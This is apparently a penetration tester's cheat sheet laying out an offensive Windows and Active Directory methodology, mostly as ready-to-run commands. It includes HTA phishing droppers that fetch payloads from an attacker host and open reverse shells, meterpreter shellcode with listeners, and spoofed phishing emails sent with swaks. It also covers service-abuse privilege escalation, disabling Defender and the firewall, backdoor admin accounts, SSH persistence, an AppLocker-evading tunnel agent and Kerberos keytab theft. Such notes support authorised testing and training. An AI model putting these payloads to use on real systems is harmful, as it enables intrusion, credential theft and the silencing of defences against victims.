Advanced Methodology

- 1. Enumeration
- 2. Initial Access
- Phishing
- 3. Privilege Escalation - Windows
- 4. Post Compromise
- 5. Persistence
- 6. Pivot
- Linux AD
- Blast Defender

1. Enumeration

Automated approach

```
autorecon TARGET_IP
```

Manual approach

```
nmap TARGET_IP -p- --min-rate 1400 -sV -T 4 -sC -oN output.txt
```

> If the target is Windows use the below

```
nmap TARGET_IP -Pn -sV -T 4 -sC -oN output.txt

#or this if you want to dive deeper

nmap TARGET_IP -Pn -p- -sV -T 4 -sC -oN output.txt
```

2. Initial Access

Phishing

HTA payloads

Ping

```
<html>
<head>
<script language="JScript">
var shell = new ActiveXObject("WScript.Shell");
var res = shell.Run("ping -n YOUR_IP");
</script>
</head>
<body>
<script language="JScript">
self.close();
</script>
</body>
</html>
```

TCPdump

To catch the ping

```
sudo tcpdump -i tun0 icmp
```

HTA - Bypass CLM

1. Compile the project https://github.com/blu3drag0nsec/osepvs/tree/main/tools/02.CLM/revshell/PSBypassCLM

2. Convert to psby.txt using certutil

```
certutil -encode
"Z:\\tools\\02.CLM\\revshell\\PSBypassCLM\\PSBypassCLM\\bin\\x64\\Release\\PsBypassCL
M.exe" psby.txt
```

3. Download the psby.txt on the kali host and serve the file with a dropper

```
<html>
<head>
<script language="JScript">
var shell = new ActiveXObject("WScript.Shell");
var res = shell.Run("powershell iwr -uri http://YOUR_IP/psby.txt -outfile
C:\\\\windows\\\\tasks\\\\enc.txt; powershell certutil -decode
C:\\\\windows\\\\tasks\\\\enc.txt C:\\\\windows\\\\tasks\\\\psby.exe;
C:\\\\Windows\\\\Microsoft.NET\\\\Framework64\\\\v4.0.30319\\\\installutil.exe
/logfile= /LogToConsole=true /revshell=true /rhost=YOUR_IP /rport=443 /amsi=0 /U
C:\\\\windows\\\\tasks\\\\psby.exe");
</script>
</head>
<body>
<script language="JScript">
self.close();
</script>
</body>
</html>
```

HTA - With Meterpreter

1. Generate the shellcode

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f csharp
EXITFUNC=thread
```

2. Run it through XORme
3. Update hollow.xml with the code from above
4. Set up listener

```
msfconsole -q -x "use exploit/multi/handler; set payload
windows/x64/meterpreter/reverse_tcp; set lhost tun0; set lport 443;set exitfunc
thread; exploit -j"
```

5. Deliver it

```
<html>
<head>
<script language="JScript">
var shell = new ActiveXObject("WScript.Shell");
var res = shell.Run("powershell iwr -uri http://YOUR_IP/hollow.xml -outfile
C:\\\\windows\\\\tasks\\\\hollow.xml;
C:\\\\Windows\\\\Microsoft.NET\\\\Framework64\\\\v4.0.30319\\\\msbuild.exe
C:\\\\windows\\\\tasks\\\\hollow.xml");
</script>
</head>
<body>
<script language="JScript">
self.close();
</script>
</body>
</html>
```

Macro VBA

1. Generate the shellcode

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 EXITFUNC=thread -f
csharp
```

2. Run it through caesar cypher - pay attention to `shift` and `key` parameters.
3. Set up listener

```
msfconsole -q -x "use exploit/multi/handler; set payload
windows/x64/meterpreter/reverse_tcp; set lhost tun0; set lport 443;set exitfunc
thread; exploit -j"
```

4. Update the vba with your shellcode from step 2.

Sending emails

swaks

HTA payloads

```
swaks --body 'Please check this issue here http://YOUR_IP/payload.hta' --add-header "MIME-Version: 1.0" --add-header "Content-Type: text/html" --header "Subject: Issues with my account" -t Will@domain.com -f administrator@domain.com --server EMAIL_server
```

Macro payloads

```
swaks --to jobs@domain.com --from administrator@domain.com --header "Subject: My CV" --body "Attached my cv to this email" --attach @cv.docm --server server.domain.tld
```

3. Privilege Escalation - Windows

PowerUp

1. Upload the following script to the host `/usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1`
2. Load on the target and run it

```
. .\\PowerUp.ps1
Invoke-AllChecks
```

3. Troubleshoot, make sure the service you are trying to abuse is actually started.

Abusing services

```
. .\\PowerUp.ps1
Invoke-AllChecks # if a service is discovered do the things over there ->
Invoke-ServiceAbuse -Name 'Service'
```

```
sc query Service
sc config Service start=auto
sc config Service obj=LocalSystem
```

4. Post Compromise

1. Blast AV and enable RDP with hashes

```
cmd.exe /c "C:\\Program Files\\Windows Defender\\MpCmdRun.exe" -removedefinitions -all
REG ADD "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v "DisableRealtimeMonitoring
" /t REG_DWORD /d 1 /f
REG ADD "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v "DisableBehaviorMonitoring
" /t REG_DWORD /d 1 /f
NetSh Advfirewall set allprofiles state off
cmd.exe /c netsh firewall set opmode disable && reg add
"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 0 /f && reg add
"HKLM\\System\\CurrentControlSet\\Control\\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f
```

1. Sharphound → Bloodhound
2. Dump all hashes and spray
    1. SMB
    2. winrm
    3. ldap
    4. wmi

5. Persistence

Linux - SSH

On your host

```
cat ~/.ssh/id_rsa.pub # if you don't have one create run: ssh-key -t rsa
# copy the content of the file into **authorized_keys** on the target host
```

On the target host

```
cd ~/.ssh/
ssh-keygen -t rsa # press enter twice
cat id_rsa.pub > authorized_keys
echo 'YOUR_PUB_KEY' >> authorized_keys
```

Windows

Create admin user

```
cmd.exe /c net user hackerman Password123! /add && net localgroup "administrators" /add
hackerman && net localgroup "remote desktop users" /add hackerman
```

or

```
net user hackerman Password123! /add && net localgroup "administrators" /add hackerman && net
localgroup "remote desktop users" /add hackerman
```

Enable RDP

```
cmd.exe /c netsh firewall set opmode disable && reg add
"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 0 /f && reg add
"HKLM\\System\\CurrentControlSet\\Control\\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f
```

or

```
netsh firewall set opmode disable
reg add "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKLM\\System\\CurrentControlSet\\Control\\Lsa" /v DisableRestrictedAdmin /t REG_DWORD
/d 0 /f
```

6. Pivot

> You can use the standard apt repos if you don’t need to do any modifications, e.g. bypassing Applocker or CLM.

```
sudo apt install ligolo-ng ligolo-ng-common-binaries -y
```

Basic tunnel

1. start `ligolo-proxy`

```
sudo ligolo-proxy -selfcert
```

1. Connect the agent
2. enter session and list network configuration

   ```
   #in ligolo-ng
   sessions
   ifconfig
   ```

3. set route
   1. 1 hop

      ```
      autoroute
      start
      ```

   2. 2 hops

AV evasion

1. Clone the repository

   ```
   git clone <https://github.com/nicocha30/ligolo-ng.git>
   ```

2. Edit the `ignoreCertificate` and `serverAddr` variables in the following file `/ligolo-ng/cmd/agent/main.go`
3. Compile the `agent.exe` using the following command

```
GOOS=windows go build -o agent.exe cmd/agent/main.go
```

4. Compile as `x64` and give the name `ApplockerBypassExternalBinary.exe` - Github Repo
5. Encode the file created above with certutil

```
certutil.exe -encode .\\ApplockerBypassExternalBinary.exe AppLockerBypassLigolo.txt
```

6. Rename the `agent.exe` to `ligolo-agent.exe`
7. Serve the files (`ligolo-agent.exe` and `AppLockerBypassLigolo.txt`
8. Upload the files to the target

Linux AD

Tools required

```
<https://github.com/its-a-feature/KeytabParser>
<https://github.com/sosdave/KeyTabExtract>
```

I usually install them under `/opt/linuxad`

You will need to upload them on to the target host.

Extracting keytab data

Most likely you will need to be root to do this

```
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab
./keytabextract.py /etc/krb5.keytab
```

CCACHE ticket

```
ls /tmp/ | grep krb5cc # usual location
```

To reuse

1. Get a copy of the file on your kali
2. change the permission of the file to 600 using `chmod 600 <name of the file>`
3. set env variable `export KRB5CCNAME=/location/ticket_name`

Blast Defender

Via command prompt

```
cmd.exe /c "C:\\Program Files\\Windows Defender\\MpCmdRun.exe" -removedefinitions -all
```

Just to be safe □□

```
REG ADD "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v "DisableRealtimeMonitoring
" /t REG_DWORD /d 1 /f
REG ADD "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v "DisableBehaviorMonitoring
" /t REG_DWORD /d 1 /f
NetSh Advfirewall set allprofiles state off
```

Powershell

```
Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -
DisableRealtimeMonitoring $true
```